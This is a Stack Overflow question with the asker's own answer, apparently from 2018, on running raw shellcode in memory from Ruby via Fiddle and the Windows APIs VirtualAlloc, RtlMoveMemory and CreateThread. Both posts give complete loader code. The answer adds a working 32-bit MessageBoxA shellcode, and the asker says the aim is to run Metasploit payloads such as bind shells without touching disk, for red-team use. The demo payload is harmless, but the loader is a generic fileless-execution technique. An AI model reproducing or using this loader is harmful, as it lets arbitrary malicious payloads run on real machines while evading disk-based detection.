6

I'm trying to use ruby Fiddle standard library to Windows APIs to run a shellcode

The idea of the code is to

  1. having a hexdicemial shellcode raw that executes anything (eg. MessageBoxA)
  2. call kernel32.dll
  3. allocate a memory for this shellcode. VirtualAlloc
  4. create a buffer for this shellcode
  5. move the shellcode to that allocation. RtlMoveMemory
  6. create a new thread to execute that shellcode. CreateThread
  7. wait for the execution/thread to end. WaitForSingleObject

here is the code:

require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'

shellcode = # MessageBoxA
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +  
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" + 
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" + 
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" + 
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" + 
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" + 
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" + 
"\x49\x0b\x31\xc0\x51\x50\xff\xd7"

include Fiddle 
kernel32 = Fiddle.dlopen('kernel32')

puts "[-] VirtualAlloc"
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, (shellcode.size), 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)

puts "[-] Create buffer"
buf = Fiddle::Pointer[shellcode]

puts "[-] RtlMoveMemory"
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, shellcode.size)

puts "[-] CreateThread"
# thread = Function.new(kernel32['CreateThread'], [4, 4, 4, 4, 4, -4], 4).call(0, 0, ptr, 0, 0, 0)
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(Fiddle::NULL, 0, ptr, 0, 0, 0)

pp Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, -1)

The problem is the MessageBoxA never get executed, when I try to something like a bind shell, the TCP connection starts successfully when I connect but I can't execute commands and it ends once I send anything twice like pressing enter twice.

I checked the buffer buf size and contents buf.size, buf.to_str and it's accurate.

Am I missing something here?

Thanks!

Note: I don't want to call the MessageBoxA API directly I need to execute it from the shellcode.

KING SABRI
  • 775
  • 7
  • 18
  • Do you know what each API call returned (VirtualAlloc, VirtualProtect, ...). In particular what does CreateThread returns, and if null, what does GetLastError returns? – jaudo Jul 24 '18 at 19:11
  • `VirtualAlloc` returns an integer, a reference to that function. `CreateThread` just spawn the pry process so I couldn't know. I've suspected the `VirtualProtec` but if the python calls didn't need it then why would the ruby do? – KING SABRI Jul 24 '18 at 19:16
  • I mean, do you know what value is returned? As your code is not working, you need to test the API call return value to be sure it succeed. For example VirtualAlloc returns NULL if it fails. It has not reason to, but you should check every API call return, that's a good practice. – jaudo Jul 24 '18 at 19:19
  • In my case, `VirtualAlloc` returns its reference. so it didn't fail. And you're right, I've to check all returns and I did. The Fiddle documentation is no mature enough and no too many useful references for it. Note: that when I use a TCP shell it opens a TCP server but not the other functionalities (eg executing the remote commands) – KING SABRI Jul 24 '18 at 19:22
  • 1
    Do you understand the *"shell code"*? It doesn't appear to be fully location-independent. Moving it around in memory is thus going to fail. – IInspectable Jul 24 '18 at 19:25
  • Yes I do and I tested it with the python version using the same functions and it works. Please check the first link in the references. – KING SABRI Jul 24 '18 at 19:27
  • Since you understand the code, attach a debugger and single-step through it to find out, where it fails to produce the desired result. – IInspectable Jul 24 '18 at 19:32
  • Of course, still it's not in the shellcode at all, it's how should I deal with the Windows APIs using Fiddle in Ruby. – KING SABRI Jul 25 '18 at 09:41
  • @jaudo I tried to use `GetLastError`, it returns `0` always after each function. – KING SABRI Jul 26 '18 at 20:17
  • Just for my own curiosity if you would be willing to answer, but why not just invoke the functions? Why all this need for binary strings and virtual memory, etc? To be honest, this looks like it is intended either for A) evil things, or B) trying to obfuscate code, which is rather silly to use Ruby in the first place if that is the intention. – ForeverZer0 Jul 31 '18 at 00:49
  • @ForeverZer0 The invoking the APIs takes time and efforts each time I want to do farther tasks. Further tasks (shellcode) are generated using bigger frameworks like Metasploit and others. Regarding the why doing it in ruby, it's for Red Teaming porpuses and not evil. The idea is to run a shellcode in memory without touching the desk in the first place. Again this is for PT/RT purposes no evil in it. And I'm asking how to buffer a shellcode, create a thread that executes the code regardless the shellcode contents. Thanks for asking to make that clear – KING SABRI Aug 01 '18 at 19:21

1 Answers1

1

Well, I think this code works perfectly

require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'

# MessageBoxA
shellcode =
    "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
    "\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
    "\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
    "\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
    "\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
    "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +
    "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +
    "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +
    "\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" +
    "\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
    "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +
    "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +
    "\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" +
    "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24" +
    "\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67" +
    "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89" +
    "\xe3\x68\x52\x49\x58\x20\x68\x47\x53\x41\x42\x68\x40\x4b" +
    "\x49\x4e\x31\xc9\x88\x4c\x24\x0a\x89\xe1\x31\xd2\x52\x53" +
    "\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"


include Fiddle

kernel32 = Fiddle.dlopen('kernel32')

puts "[-] VirtualAlloc"
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, (shellcode.size), 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)

puts "[-] Create buffer"
buf = Fiddle::Pointer[shellcode]

puts "[-] RtlMoveMemory"
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4], 4).call(ptr, buf, shellcode.size)

puts "[-] CreateThread"
# thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(Fiddle::NULL, 0, ptr, 0, 0, 0) # Works
thread = Function.new(kernel32['CreateThread'], [4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0)              # Works
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, -1)

Note: The Shellcode should be OS architecture compatible. In our case, this MessageBoxA is 32-bit compatible.

Reference

HTH Someone one day

KING SABRI
  • 775
  • 7
  • 18